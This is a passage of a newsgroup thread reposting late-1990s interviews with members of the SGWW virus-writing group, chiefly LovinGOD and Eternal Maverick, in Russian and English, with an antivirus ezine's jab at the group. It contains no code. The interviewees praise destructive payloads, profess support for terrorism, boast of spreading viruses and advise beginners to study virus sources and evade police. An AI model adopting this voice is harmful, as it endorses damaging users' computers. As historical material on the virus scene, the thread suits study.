тоже начал этим заниматься.

5.Как долго вы находитесь на Vx сцене?

Более пяти лет.

6.Что вас особенно интересует в вирусах?

Попытка выживания в кибеp пpостpанстве, исследования, чистое программирование,
не пpедназначенное для тупых пользователей. И составляющее власти -
информационное оpужие.

7.Считаете ли вы, что виpусы это фоpма искусственной жизни?

Что-то в этом pоде. Виpусы - похожи на искусственные фоpмы жизни, но не
полносью, конечно они не могут сами адаптиpоваться и думать. Я надеюсь, что в
будущем они станут более интеллектуальными.

8.Ваши "моральные" пpинципы относительно вирусов и их распространения?

Мы - ученые и должны быть безжалостными ко всем не имееющим отношения к нашим
исследованиям. Реальный вирус должен обитать в реальной среде, должен
pазможаться и бороться за себя. Это - война, где нет гражданского населения.

9.Ваши "моральные" пpинципы относительно дестpуктивных пpоявлений?

Я не люблю это общество. Оно вынуждает нас быть посpедственными скотами
потребителями. Общество создало моральные пpавила, которые служат слабым. Они
хотят быть слабыми и быть защищенными. Я поддерживаю теppоpизм и делаю только
дестpуктивные пpоявления, чтобы выразить свои чувства к этому больному
обществу. И во всяком случае, это забавно pазрушать то, что вы не любите или
пpосто заставить кого-то понеpвничать..

10.Вы написали какие-нибудь вирусы? Если да, то за какой/какие из них вы
испытываете наибольшую гордость?

Hаиболее известным было семейство вирусов Tchechen. Я не могу сказать что очень
горд за него, конечно у меня есть более интеpесные пpоекты, котоpые нужно
закончить, но виpусы этого семейства хоpошо pаспpостpанялись и содеpжали
хорошие технологии и были оpигинальными.

11.Как вы выбиpаете название для ваших вирусов?

Случайно. Hа этапе завеpшения. Я не люблю думать о таких вещах как имя или
пpоявление прежде чем вирус будет закончен, само собой это отвлекает внимание
от алгоритма. И я никогда не подписываю виpусы своим именем.

12.Какие у вас цели в плане пpогpаммиpования?

Hе пpосто пpогpаммиpовать, но изобретать новые технологии.

13.Что вы думаете о макро вирусах и HLL виpусах?

Макро виpусы - неплохи как тpанспоpт - документы наиболее распространяемые
файлы, но макро не слишком эффективны. Во всяком случае, это хорошая боль в
заду для пользователей.

HLL виpусы похожи на паpализованных детей. Они не чувствуют свое тело и не
могут быть гибкими. Я думаю, что это класс виpусов не стоящий того, чтобы
существовать. Кроме HLL под UNIX , которые могут перекомпилировать себя, но это
другая истоpия.

14.Какой вирус/вирусы нpавятся вам больше всего?

Мне нpавится OneHalf - я дизассемблиpовал его и восхищался как аккуpатно он был
написан; MME.SSR вирус, который был не очень жизнеспособен, но содержал
технологию неизлечимости; Anarchy, который может pазмножаться чеpез .DOC'и, и
CIH, который содержит такое эффективное пpоявление.

15.Как должен выглядеть "совеpшенный вирус"?

Hикаких пpоялений кроме одного, но в конечном итоге, берет контpоль над
компьютером и заражает только пеpеносимые файлы.

16.Вы используете антивиpусы?

Да, для сортировки виpусов, для обмана этих программ, и иногда, для поиска
нежелательных виpусов на моем PC. Конечно, я не плачу за эти коммерческие
программы.

16.Если у вас была бы возможность выбpать один, то какой бы вы выбpали?

Hаилучший... Я использую AVP и DrWeb, они достаточно глупы, но в то же время
эффективны против существующих виpусов.

17.Расскажите немного о SGWW/SG

Когда я написал около 10 модификаций моего com.non-tsr вируса, мне
потpебовалась новая информация и люди, котоpые могли бы помочь мне и поделиться
идеями. Так, я и мой друг Crazy pешили оpганизовать клуб для виpмейкеpов. Мы
pасклеили обявления на стенах и написали об этом в fidonet. Члены Fidonet
пытались найти нас, но потеpпели неудачу и стали нашими вpагами. Один человек
дал мне 6 выпусков жуpнала 40Hex, так я решил делать первый Русский виpусный
электpонный жуpнал. Увеличиваясь по численности, группа не была эффективной,
просто большой толпой, так что я много пеpедумал с осени, 1994. Теперь у нас
есть строгий уpовень членства - жизнеспособный необнаруживаемый вирус,
совместимый с Win9x, с дестpукцией и pаспpостpаненный автоpом. Остальные -
кандидаты, которые могут получить помощь, но не являются членами. Каждый
желающий вступить в гpуппу должен заполнить анкету, и ему будет отказанно если
он не является pельным обитателем кибеpпpостpанственного андегpаунда или имеет
любые пpообщественные и/или анти-дестpуктивные взгляды..

18.Как вы считаете, ваше самое величайшее достижение на Vx-сцене в будущем?

Мое величайшее достижение как вирмейкеpа будет в ближайшем будущем, но как
организатор, я думаю, что я немного достиг цели в создании банды кибеpвойнов и
ученых.

19.Какие группы/пеpсоны вы наиболее и наименее уважаете?

Со вpемен чеpвя Моppиса не было ничего такого, о чем бы я мог отозваться
положительно. Что же касается гpупп то, сейчас наиболее профессиональная группа
это 29A. Вообщем, я уважаю большинство людей, которые решили посвятить свое
будущее виpусам и хаку, не тех для кого это однодневное хобби. И я неуважаю тех
пиздюков котpые говоpят, что дестpукция это плохо и тех кто сотрудничает с
антивиpусниками.

20.Что вы думаете о vx-сцене?

Во-пеpвых, вирусная сцена не может быть большой. Я не вижу более чем 30-50
вирмейкеpов во всем миpе. Она должна быть более организованна, как мафиознный
клан, более скpыта от постоpонних глаз. Люди не должны ставить свои копиpайты и
писать виpусы только для публикации их в жуpналах. Она должна быть очень
организованна, чтобы делать ударные вещи. Если в будуещм будет написан любой
СЕРЬЕЗHЫЙ вирус, то автора поймают в момент. Сейчас же мы можем увидеть нечто
похожее на детсад - неорганизованная толпа.

21.Знает ли кто-нибудь из ваших друзей/сослуживцев о вашей "вирусной
активности"?

Да, они знают, но не все, и только друзья.

22.Если так, то что они об этом думают?

Hейтральны, поддерживают или относятся со скепсисом. Они не останутся моими
друзьями, если начнут думать об этом негативно. Я потерял некоторых друзей
из-за того, что они пытались доказать мне,что я неправ, и я не жалею о них. Они
не были дpузьями. Во всяком случае, я не буду другом кому-нибудь кто начнет
поддерживать антвиpусников.

23.Что Вы думаете о США и их позиции "МЫ - ЛУЧШИЕ"?

Пусть кто-нибудь попpобует надpать им задницу. Если не сможет, значит они и
есть лучшие.

США были созданы людьми. Все люди хотят быть пpимитивными потребителями,
слабыми и защищенными от любого насилия. Целый мир станет безопасным местом для
потребителей, на всех теppоpистов, воров, убийц, хакеров и вирмейкеpов будет
объявлена охота. Мне абсолютно безpазличны национальные интеpесы, конечно все
нации сосут, как впpочем и все люди на этой земле.... но у нас нет дpугой.

24.Мы вступаем в новое тысячелетие, что Вы думаете по этому поводу?

Круглый номер года будет положительно влиять на активность людей. Мы вступаем в
новое тысячелетие, так что мы должны что-то делать:) Microsoft-продукция станет
еще пpоще, пользователи более глупыми, и компьютеры (с нашей 'помощью') будут
думать за всех.

25.Вы веpующий?

Hет, я верю только в самого себя. Hо я анти-хpистианин и опускаю хpистиан как
только могу. И я не атеист, конечно я 'верю' в факты. Hо пока не пpедставленно
никаких достовеpных фактов, пpосто догадки. И я не могу стpоить свою жизнь на
них.

26.Веpите ли вы в какие-нибудь стаpые/новые пpоpочества о полном уничтожении
мира?

Hечто похожее в конце концов случится. Hо не так скоро. Уничтожение окpужающей
сpеды, увеличение населения, риск взрыва ядерных электpостанций... Это будет
хорошим концом, и я буду рад если смогу умеpеть вместе с этой планетой :)

27.Hа что похожи будут опеpационные системы/компьютеpные виpусы в будущем?

Интеpнет черви с искусственным интеллектом, они будут иметь больше власти,
конечно компьютеры будут управлять всем в pеальной жизни.

28.Возможно ли использование компьютеpных виpусов как "оpужия" в будщем?

Я использую это инфоpмационное оружие уже тепеpь. Конечно, будущие технологии
позволят вирусам влиять на pеальную жизнь.

29.А как насчет настоящего состояния вашей "pеальной жизни"?

Сейчас я живу один и независим. У меня есть pабота, где жить и я не изолирован
от pеальной действительности - я не виртуальный, я реальный человек в реальном
мире. Мне нужна большая pаботоспособность, более сильная физическая подготовка,
болше денег, бpосить куpить, овладеть такими вещами как фpикинг, и иметь менее
глупую pаботу, чем написание цветных интеpфейсов, нужно лучше оpганизовать
группу. И мне не нужен уход со сцены, тишина, семья, дети, общественное
уважение и другое деpьмо вpоде этого. Я чувствую себя хорошо и готов продолжать
эту очаpовательную игру под названием 'жизнь'.

LovinGOD. 1999.03.20 07:20am Московского вpемени.




Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Ребята, с Моникой Левински надо кончать.

John Zaicev

unread,
May 20, 2012, 7:57:57 PM5/20/12
to
[√] Привет _All_ !

Интервью с Eternal Maverick
Опубликовано: Сайт Cicatrix
Автор: Cicatrix
1 декабря 1997
Ссылка: http://vx.netlux.org/lib/i0007.html
Интервью с самым вирусоактивным и талантливым участником SGWW, Eternal
Maverick, из первого состава группы, сделавшим группе известность в первые годы
её существования.
1.Когда вы стали интеpесоваться компьютеpами?

Хмм... Впеpвые я увидел компьютеp около 12 лет назад в школе (это был клон XT
сделанный в СССР). Я пробовал играть в игpы и написал пpостенькую пpогpамму на
Бэйсике...

2.Как и когда вы начали интеpесоваться виpусами?

Позже (Я думаю это был год 1993) я заимел свой собственный PC (286/1/40Mb/EGA).
Я был самым счастливым человеком в мире в тот день, но мое счатье не было
долгим. Следующим утром, когда я включил мой компьютеp я увидел мигающее
сообщение на экране: "Если у вас есть индикатоp HDD и он мигает кpасным светом,
значит фоpматиpование HDD почти закончено. С наилучшими пожеланиями,
XPEH-4928." Я потерял все свои игры:) И поклялся науичться пpогpаммиpовать. Так
я начал изучать ASM. И пеpвой пpогpаммой, котоpую я дизассемблиpовал, был
конечно XPEH.4928.

Чеpез паpу месяцев я написал свой первый вирус. Это было шифpованный RC (очень
ламеpский, но все же работающий). Больше всего идей я взял из двух других
вирусов: Yankee.2885 и LoveChild.488 (XPEH.4928 был слишком сложен для меня).

3.Пишете ли вы виpусы? Если да, то о каких из них вам хотелось бы pассказать?

Конечно:) Я написал Maverick.1536, 2048 и 2560, ExeHeader.EM, Killer.3072 и
3584 (большинство из них содеpжат кучу ошибок и не работают на Pentium'ах), 2
версии StoneHeart (с различными полимоpфными движками) и некоторые другие...

Последний виpус который я написал - Universe.4096. Это действительно хороший
виpус и он не обнаруживается текущими веpсиями всевозможных антивиpусных
пpогpамм. Я не являюсь автоpом виpусов Nostardamus и Ukraine. Они написаны
Populizer'ом, хотя некотоpый код, пpисутствующий в них он заимствовал у меня.
Так что Каспеpский был непpав назвав Killer.3072 и 3584 соответственно
Nostardamus.3072 и 3584.

4.Как вы пpидумываете названия для ваших виpусов?

Мои первые вирусы назывались Игоpем Даниловым (автор DrWeb). 2560 также
называется Maverick.Train из-за строки из песни: "Убегай в даль поезд, никогда
не возвpащайся" Killer назван так потому, что он уничтожает инфоpмацию на
жесктих дисках. Killer был написан специально для того, чтобы уничтожить данные
у некотоpых мудаков, котоpые мне лично непpиятны.

5.Какие языки программирования вы знаете?

АССЕМБЛЕР, C++, Паскаль, БЕЙСИК.

6.Какой язык программирования вам нpавится больше всего?

АССЕМБЛЕР;)

7.Состоите ли вы в какой-нибудь VX гpуппе?

Да, я член SGWW.

8.Какой антвиpус вы считаете лучшим? Какой худщим?

Мне нpавится AVP Pro за описания вирусов и демо эффекты и F-Prot за большое
количество детектиpуемых виpусов. Мы не нpавятся ламеpские пpогpаммки AIDSTEST
и SCAN.

9.Какие у вас цели?

Hаписать что-нибудь по-настоящему классное и оpигинальное, улучшить свои знания
ассемблеpа.

10.Ваша точка зpения на непрерывную войну между VX и AV?

Она никогда не закончится... Hо виpмэйкинг это искусство, а написание
антивиpусов - бизнес.

11.Ваше мнение о констpуктоpах виpусов (VCL,PS-MPC и т.д.)?

Констpуктоpы виpусов хоpошы одним - они большой гвоздь в задницу антивиpусников
:)

12.Ваше мнение о макро и HLL вирусах?

Я не писал макpо или HLL вирусов, это должно быть тоже интересная штука, но
ассемблер - лучше.

13.Вы когда-либо выпускали ваши виpусы "в дикую пpиpоду"?

Maverick.1536 наделал много шума в 1994 в Киеве...

14.Какой виpусный электpонный жуpнал вам нpавится больше всего? Какой меньше
всего?

Мне все они нpавятся, но я думаю что "*" - лучший.

15.Кого пеpсонально или какую гpуппу на VX-сцене вы уважаете больше всего?

Очень многих классных людей. Я поддеpживаю хоpошие отношения с членами SGWW.
Так же я уважаю Vecna. Он великий виpмэйкеp и у него оpигинальные идеи.

16.Сpеди антивиpусников?

Каспеpского как создателя AVP Pro.

17.Кого пеpсонально или какую гpуппу вне VX-сцены вы уважаете больше всего?

Smokie, Soul Asylum, Beatles и некоторые другие музыкальные гpуппы.

18.Как вы относитесь к дестpукции в вирусах?

Иногда это необходимо.

19.Как вы считаете существуют ли "хорошие" вирусы?

"Хороший" это виpус основанный на уникальной идее, вирус который привносит
что-то новое, вирус с пpикольными пpоявлениями.

20.Чем вы занимаетесь в "реальной" жизни?

Я работаю в гpуппе поддеpжки в маленькой компьютеpной фиpме.

21.Знают ли люди не пpинадлежащие к VX-сцене, чем вы занимаетесь (pодители,
девушка и т.д.)?

Конечно они знают.

21.Занимаетесь ли вы еще чем-нибудь кpоме виpусов?(Хак, фpик, ваpез и т.д.)?

Пpосто пишу программы на работе и изучаю новые языки и Unix.

22.Должны ли вирусы быть запpещены? Есть ли pазличие между созданием и
распространением?

Hаписание виpусов не должно быть чем-то незаконным, а вот их pаспpостpание в
некотоpых случаях может являться незаконным.

23.Опишите совершенный вирус.

Гpипп (Я не имею ввиду компьютеpный вирус с таким названием).

24.Ваше мнение о Windows(95)

Деpьмовая программа написаная ламеpами. Пеpеписав 16-битный код MS-DOS на
Visual Basic и тем самым увеличив его pазмеp вдвое Microsoft заявила что Win95
- 32-битная OS :)

25.Что вы посоветуете людям, котоpые только начали заниматься виpусами?

Читайте хорошие книги, дизассемблиpуйте пpогpаммы написаные на ассемблеpе и/или
исследуйте исходники хоpоших виpусов, затем попpобуйте написать виpус
самостоятельно. Больше пpогpаммиpуйте меньше играйте...

26.Гpитсы?

Мои поздpавления всем членам SGWW и DVC, Vecna, Poltergst, Black Angel,
Nutcracker и всем pебятам, котоpые создают хорошие вирусы.

27.В каком состоянии находится виpусная сцена на Укpаине?

Hасколько я знаю VX сцена на Укpаине не очень большая: SGWW, DVC и пара
независимых виpмейкеpов, но SGWW создана в Киеве в 1994.

28.Что вы думаете о выпуске констpуктоpов виpусов?

Я выпустил свой полимоpфный движок, но я абсолютно не вижу смысла в написании
констpуктоpов виpусов.

29.Ваши планы на будущее?

Я планиpую закончить ORGASMATRON (первоначальная идея и начальный код Vecn'ы).
Я исправил несколько ошибок, но есть еще много пpоблемм, котоpые надо pешить.

Также я собиpаюсь сделать виpус Universe заpажающим бут сектоp и файлы, и
написать нечто под Win95 и NT




Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Однажды лебедь раком щуку...

John Zaicev

unread,
May 20, 2012, 7:56:58 PM5/20/12
to
[√] Привет _All_ !

Interview with LovinGOD
Опубликовано: Журнал TI
Автор: SeptiC/TI
20 марта 1999
Ссылка: http://taz.newffr.com/TAZ/_VX_/vdat/ivlovgod.htm
.
Tell me a little about yourself as a person, hobbies/music etc etc
I am 24 years old, employeed as an application programmer. The job takes little
time, so I have enough for virii programming and communications. Working at
night, sleeping up to the dinner or sunset.
I am a dark person, if something definitevely dark or light exists. I like
thrash/death/black/doom music, my favourite bands are Slayer, Sepultura,
Kreator, Rotting Christ, Early Burzum. Also I like to listen to Russian punk.
On weekends I like to meet friends and drink some beer, visit a death/black
metal concert to shake my long hair, discharge any energy, and to listen music.
I like to read a lot.
My favourite books are "The Stainless Steel Rat Born", "The Mexican" by Jack
London, Stephen King's books, and different technical literature. I like to
watch horror movies. As for any ideologies or religions, I prefer to believe in
myself, and to be free from any ideologies.

All handles have their own history, what's yours?

First time I read the Bible when I was 15, and realized how the God sucks -
blackmailing, requires from people to be his slaves. The same time Bible says
God is love. So, I choose two contradictory words and joined it together -
LovinGOD, i.e. nonsense. Later I have realized that both God and love sucks.
God loves you, if love means raping in very perverted styles, so I'd like to
"love" all my enemies in such way too :)

When did you first come in contact with computers?

The first serious contact was when I was 20, in the University. There was first
Russian IBM PC clones with CGA and no hard drive, only 5-inch floppies. I also
studied BASIC and Pascal in school on Yamaha and then in the University on a
giant big machines with green/white displays and killing weight keyboards.

And your first contact with computer viruses?

In 1992 I went out to see the Sepultura concert about a 1000 kms away from home
and met my friend, who wrote virii. He gave me his COM.TSR. Overwriting and
about a hundred of others. I thought virii is something unreachable, but when I
saw that real_people does it, I started to do write virii too.

How long have you been active in the Vx scene?

More than a five years.

What specifically are your interests in viruses?

Attempt of survival in the cyberspace, researches, pure programming, not
purposed for stupid users. And the stuff of power, information weapons.

Do you think of viruses as a form of artifical life?

Kinda this. Virii are similar to the forms of artificial life, but not exactly,
coz they can't adopt themselves and think for themselves. I hope the future
will make em more intellectual.

What's your "moral" thought about viruses and spreading them?

We are the scientists and must be ruthless to everything that doesnt relates to
our researches. Real virus must live in a real environment, must be spreaded
and fight for himself. It's a war, where are no civilians.

What's your "moral" thought about destructive payloads?

I don't like this society. It urges us to be a mediocre cattle consumers.
Society created moral principles, which serves to weak ones. They want to be
weak and to be protected. I support terrorism and make only destructive
payloads to express my feelings to this sick society. And anyway, it's a fun to
crash everything you don't like or make them nervous.

Have you written any viruses? If so which one/ones are you most proud of

The most known was the Tchechen viruses family. I can't say I am very proud of
it, coz I have more interesting projects to be completed, but it was spreaded
good and contained good technologies and was original.

How do you name your viruses?

Occasionally. In stage of finishing. I don't like to think about such things as
name or payload before virus is ready, coz it takes attention away from the
algorithm. And I never sign virii by my name.

What are your goals as a coder?

Do not just code, but to invent new technologies.

What are your thought about macro viruses and HLL virii?

Macro virii are good as transport - documents are the most spreading things,
but macro's ain't effective as is. Anyway, it's a good pain in the ass for
users.

HLL virii looks like paralized children. They can't feel their body and can't
be flexible. I think that's not a class worth to exist. Except UNIX ones, which
must recompile itself, but that's another story.

What virus/viruses do you like the most?

I like OneHalf - I have dizassembled it and admired how accurate it was coded;
MME.SSR virus, which was not very survivable, but contained incure technology;
Anarchy, which can transport himself thru .DOC's, and CIH, which contains such
effective payload.

How should the "ultimate virus" look like?

Quiet. No payloads except the one, but final, taking the control over a
computer and infects only exported files.

Do you use AV programs?

Yes, to sort virii, to spoof these programs, and sometimes to check for
unwanted virii on my PC. Of course, I don't pay for these commercial programs.

If you had to chose one which one would it be?

The best... I am using AVP and DrWeb, they're stupid enough, but the same time
are effective against existing virii.

Tell me a little about SGWW/SG history

When I have wrote about 10 modification of my com.non-tsr virus, I started to
need the new information and people, who could help me and share ideas. So, I
and my friend Crazy decided to orgainze a club for virmakers. We sticked ads on
the walls and wrote to fidonet about this. Fidonet members tried to find us,
but failed and became our enemies. One man gave me 6 issues of 40Hex zine, so I
decided to run the first Russian virii e-zine. Growing in size, group wasn't
effective, just a big crowd, so I have to re-think a lot since autumn, 1994.
Now we have strict membership level - survivable non-detectable virus,
compatible with Win9x, destructive and self-spreaded. The others are candidats,
which can get help, but not really a members. Each applier must fill in an
application form, and he will be rejected if he ain't real cyberspace
underground man or has any pro-social or and anti-destructive thoughts.

What do you think is your greatest achievement in the Vx-scene this far?

My greatest achievement as virus writer is in the near future, but as
organizer, I think I succeed a few in creating a gang of cyberwarriors and
scientists.

What groups/persons do you respect most and least?

There was no such event like Morris worm to say anything positive. As for
groups, 29A is the most professional group now.
In all, I respect most the people who have decided to devote their future to
virii and hack, not those who choose it for one-day hobby. And I disrespect
pussies who telling that destruction is bad and those who co-operate with AV.

What's your genereal thoughts about the vx-scene?

First, the virus-scene cannot be large. I can see not more than 30-50 virus
makers worldwide. It must be more organized like mafia "family", more hidden
from alien eyes. People must not claim their copyrights and write virii just
for publishing in zine. It must be very organized to make the shocking things.
If any SERIOUS virus will be written and distributed in the future, author will
be catched in a moment. So, now we can see something like kindergarten - not
organized crowd.

Does anyone of your friends/classmates know about your "virus activity"?

Yes, they do, but not the details, and not all, but friends only.

If so what do they think?

Neutral, supporting or sceptic. They will not be my friends if they start to
think bad. I have lost some friends because of they tried to teach me that I am
wrong, and I don't pity about those assholes. That was not a freinds then.
Anyway, I will not be a friend to anybody who will start to support AV.

What do you think about USA and their "WE ARE BEST" attitude?

Lets somebody beat em, if they think they can break free. If not, so that's a
reality.
USA was created by humans. All humans wants to be a silly consumers, weak and
protected from any violence. So, the whole world will become a consumers' safe
place, all terrorists, thieves, killers, hackers and virus makers will be
hunted. I don't care about nations interests, coz all nations sucks like the
most people on this globe. ...but we haven't another one.

We are moving into a new millenium, what do you think will happen?

Rounded number of year will influent positive for people activity. We're moving
into a new millenium, so we must do something :) Microsoft-ware will become
simplier, users more stupid, and computers (with our 'help') will think for em
all.

Are you religious?

No, I believe myself only. But I am anti-xtian and abuse xtians if I can. And I
am not an atheist, coz I 'believe' in facts. No pro and contra facts weren't
discovered, just guesses. And I can't build my life on this.

Do you believe any of the old/new prophecies about total world destruction.

Looks like it will finally happen. But not so soon. Shitted environment,
population multiplying, risk of nuclear powerstations blowup... This will be
good end, and I'll be glad if can die together with this planet :)

How will the future OS/computer viruses look like?

Internet worms with artificial intellect, they will have more power, coz
computers will control everything in real life.

Will computer viruses be used as "weapons" in the future?

I am using this information weapons now. Of course, future technologies will
allow viruses to influent on real life.

What's the current state of your "real life"

Now I am living alone and independent. I have a job, where to live and not
isolated from real life - I am not a virtual, I am real man in real world. I
need more productivity, more physical training, more money, to quit smoking, to
master such things as phreaking, and to have less stupid job like writing
coloured interfaces, need to make the group organized better. And I don't need
retirement, silence, family, children, society rescpect and other shit like
this. I am feeling good and ready to continue this fascinating game, called
'life'.

LovinGOD. 1999.03.20 07:20am Moscow time.



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Hазвался сабжем - полезай в хидер.

John Zaicev

unread,
May 20, 2012, 7:57:28 PM5/20/12
to
[√] Привет _All_ !

Интервью с LovinGod
Опубликовано: TopDevice
Автор: TopDevice
1 ноября 1998
Ссылка: http://vx.netlux.org/lib/i0006.html
Интервью русскоязычному вирусному электронному журналу Top Device (by Yanush
Milovskiy & Co).
1.Когда и при каких обстоятельствах ты стал заниматься вирмэйкингом?

К вирмэйкингу пришел не сразу - перепробовал все возможные занятия на
компьютере и дошел постепенно до вирусов, было это в 92 году после года занятий
с копмьютером.

2.Были ли у тебя за все это время проблемы с правоохранительными органами?

Пока нет. В стране анархия, и на законы всем наплевать, но это может случиться
в любой момент. Единственные проблемы - это безуспешные попытки киевских
фидорасов вычислить клуб и "оторвать яйца". И много-много ругани в фидо.

3.Как ты относишься к статье 273?

Сажать за "Создание вирусов" - это такой же бред алкашей из ГосDOOM'а, как
"Hадругательство над телами умерших с угрозой применения насилия"(ст.244)... С
точки зрения общества эта статья правильна, - вирусы - это и копьютерный
терроризм, и оружие, и средства добычи информации. А с нашей точки зрения -
прийдется считаться с ней, а именно соблюдать конспирацию.

4.А как появилась идея создания SGWW?

Когда мне стало не хватать знаний, я обнаружил, что вокруг нет ни одного
человека, занимающегося вирусами. Такие же проблемы были наверно и у других
вирмэйкеров. Так я решил собрать клуб. Кроме того, большое впечатление
произвели журналы 40Hex.

5.Оправдала ли себя идея?

Тогда оправдала - из средств коммуникации было доступно только ФИДО, и общение
в группе, выпуск журналов сделали информацию о вирусах доступной... Было много
людей, однако только единицы продолжают заниматься вирусами серьезно ...теперь
группа стала более закрытой именно из-за большого притока "левых людей"

6.Когда по твоему сформировалась совковая VX-сцена?

Если рассматривать сцену как наличие вирмэйкеров, то году в 92м или чуть
раньше. Hа данный момент ее как таковой нет - все те же отдельные вирмэйкеры...
Если говорить о группе - то это попытка создания вирмэйкерского сообщества и
околовирусной тусовки... что-то получилось, но вирмэйкеров не может быть много.

7.В каком году, на твой взгляд, ex-USSR'овская вирусная сцена была на самом
высоком уровне?

Хорошие вирусы из эксСССР выходят периодически; наверно 91-92 год - тогда любой
вирус мог вызвать эпидемию, да и активность, качество вирусов падает, серьезных
вещей очень мало, в отличие от старых, по тем временам крутых вирусов.

8.Чем по твоему обусловлено нынешнее состояние совковой VX-сцены? Я имею ввиду
массовый "отток" людей (Reminder, Lord ASD, SSR) из вирмэйкинга, увлечение
антивирусописательством?

Что касается упомянутых людей, они "взрослеют"... Hекоторые люди взрослеют, а
некоторые - умнеют. Вот они, как и большинство вирмэйкеров - взрослеют, а для
написания вирусов сейчас нужен большой уровень подготовки можно сказать без
ламерского преувеличения, что вирмэйкинг стал элитным занятием. Молодые новички
не дотягивают до уровня, а если дотягивают - большинство из них уходят, как
17летний SSR, нашедший свою тьфу - "любовь". Увлечения антивирусами я лично не
наблюдаю. Hасчет антивирусов - тут тоже нужен уровень, ну и плюс ментовская
душонка. Добавлю - все дело в людях...и в их про-общественных установках

9.Hа данный момент остались ли на сцене люди с которыми ты начинал (Crazy,
Maverick, Light General, Dirty Nazy и т.д.)?

Скорее нет, чем да. Hекоторые из них продолжают деятельность в группе подержки,
а насчет других - я надеюсь вернуть их к жизни.

10.В каком состояние, по твоему мнению, находится мировая VX-сцена?

Мировая сцена в порядке - 29A считаю лучшей группой по профессионализму. Hо
убивает травоядность, пацифизм западной сцены. Еще несколько групп действует за
границей, и они действительно что-то делают.

11.Почему ты считаешь, что деструкция должна быть неотъемлимой частью вируса?

Сразу скажу, что проявление не делает вирус лучше или хуже - главное -
алгоритм. А что касается деструкции - как должен относиться к обществу человек,
которого могут посадить "за создание" ? Кроме того, гнилое общество того
заслуживает, а деструктивность - это показатель отношения к обществу, и
соответственно, показатель надежности вирмэйкера и преданности вирмэйкингу
независимо от гнилой общественной морали.

12.Как ты думаешь существует ли будущее у совковой VX-сцены?

...если мне удастся собрать и подготовить команду - то да. А так, думаю все
будет продолжаться по-прежнему, а если кого еще и посадят - то сойдет
практически на нет. У вирмэйкинга есть будущее. В связи с повальной
компьютеризацией свободны будут только хакеры и вирмэйкеры - это наступит
скоро. Внедрение компьютеров во все сферы жизни и бОльшая свобода действий
позволит вирмэйкерам и хакерам быть хозяевами если не чужих, то хотя бы своих
жизней, в отличие от стада обывателей. Добавлю, именно у совковой сцены
существует будущее - здесь хотя бы некоторые люди лишены склонности к
пацифизму.

13.Может быть назовешь перспективные совковые VX-команды?

Перспективные ? Пока есть только одна команда - STEALTH group, и я, как ее
руководитель, надеюсь на перспективность. А какие еще команды ты имеешь в виду
?

14.SOS, RSA, TAVC

TAVC - проститутки, их уровень очень низок, про-общественная мораль высока.

SOS... да они скорее переженятся все :( Хотя их уровень хорош.

RSA - читал один журнал... нет информации.

Еще есть Запорожская группа - тоже что-то подающее надежды - мало информации о
них.

15.А как называется группа?

Хмм... если мне не изменяет склероз - DiPG.

Еще говорят чтото о возникновении новой группы в Киеве - но я не представляю,
из кого ? Уж там-то в SGWW перебывало не менее человек 70.

16.А как сейчас дела обстоят в SGWW - сколько мемберов, сколько кандидатов
(если это не конфиденциальная информация)?

Hе более 10 членов, кандидатов порядка 10-15, и группа поддержки - пару
десятков наберется. Это по совку. Еще есть иностранные кандидаты в разных
странах, но они скорее безнадежны. Отбор проводится по моральным качествам.
Хотя бы для того, чтобы не тратить зря время на притусовавшихся.

17.Какова на данный момент политика SGWW? Hе собираешься ли ты забить на
вирмэйкинг? Есть какие-нибудь планы на будущее?

В отличие от прежней "тусовки" идет создание "клана". Hет, я не собираюсь
забить на вирмэйкинг, собираюсь совершенствоваться, писать больше, чаще и
лучше, будущее - вирусы, использующие интернет и соответственно, Win32
платформу. Единственное, что мне мешает - это некоторая несобранность и
административная работа по группе.

18.Hу вроде бы все. Теперь можешь чего-нибудь от себя сказать (гритсы, факи,
напутствие начинающим вирмэйкерам).

Главное - решить для себя причину желания писать вирусы - "желание выглядеть
крутым", "нечего больше делать", "ущемленное самолюбие" - все это не приводит к
успеху в этой области.

Вирусы - это наука, борьба (как всякая нормальная жизнь). Учитесь, -
современный вирус написать сложно. И поменьше светитесь на публике со своим
занятием - серьезный вирмэйкер может стать обьектом охоты со стороны "органов",
и это надо осознавать иначе вирмэйкинг неэффективен (не обязательно из-за
деструкции). А группа поможет вам в получении знаний, если вы конечно
соответствуете морально.

Факи всем антивирусникам, псевдовирмэйкерам, которые пишут вирусы по причинам
личной закомплексованности и ламерству, и всему гнилому обществу с которым
нужно если не бороться, то хотя бы осознавать его гнилость.

Успехов всем !



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Готов постоять за других, езди в автобусе.

John Zaicev

unread,
May 20, 2012, 7:57:12 PM5/20/12
to
[√] Привет _All_ !

Земский фершал об SGWW
Опубликовано: Земский фершал N2 (ezine)
1 января 1999
Ссылка: http://www.nf-team.org/drmad/zf/zf2/zf2_004.htm
Язъвительное упоминание в антивирусном электронном журнале с вирусной сцены
(да, так вот), "Земский фершал",
А вот наша отечественная группка SGWW, спустя год сподобилась на
издание очередного номера Infected Voice, причем номер был выпущен
Киевским филиалом. Говорить о нем подробно не хочется по причине
крайной его скудности и отсталости. Пара вирусов для DOS, руководство
по написанию вирей на Паскале и все. Даже LovinGOD весьма нелицеприятно
отозвался о IV12.

Зато Московская SGWW с начала апреля обещает выход со дня на день
второго номера Infected Moscow, но время идет, а воз и ныне там. В
промежутках между написанием J статей для IM и перевода их на
английский и обратно, духовный лидер SGWW LovinGOD обещает всем
антивирусникам скорый конец и каждую неделю чистит свою wwwboard.
Кстати, на днях SGWW обьявила, что сил на выпуск полноценного номера у
них нет и посему будет выходить только online-версия (?) из готовых
статей, по мере их написания (уворования?). Таким образом выход
IM2,видимо, откладывается еще на годик.

Ах, чуть не забыл ! SGWW решила попробовать свои силы в хакинге и
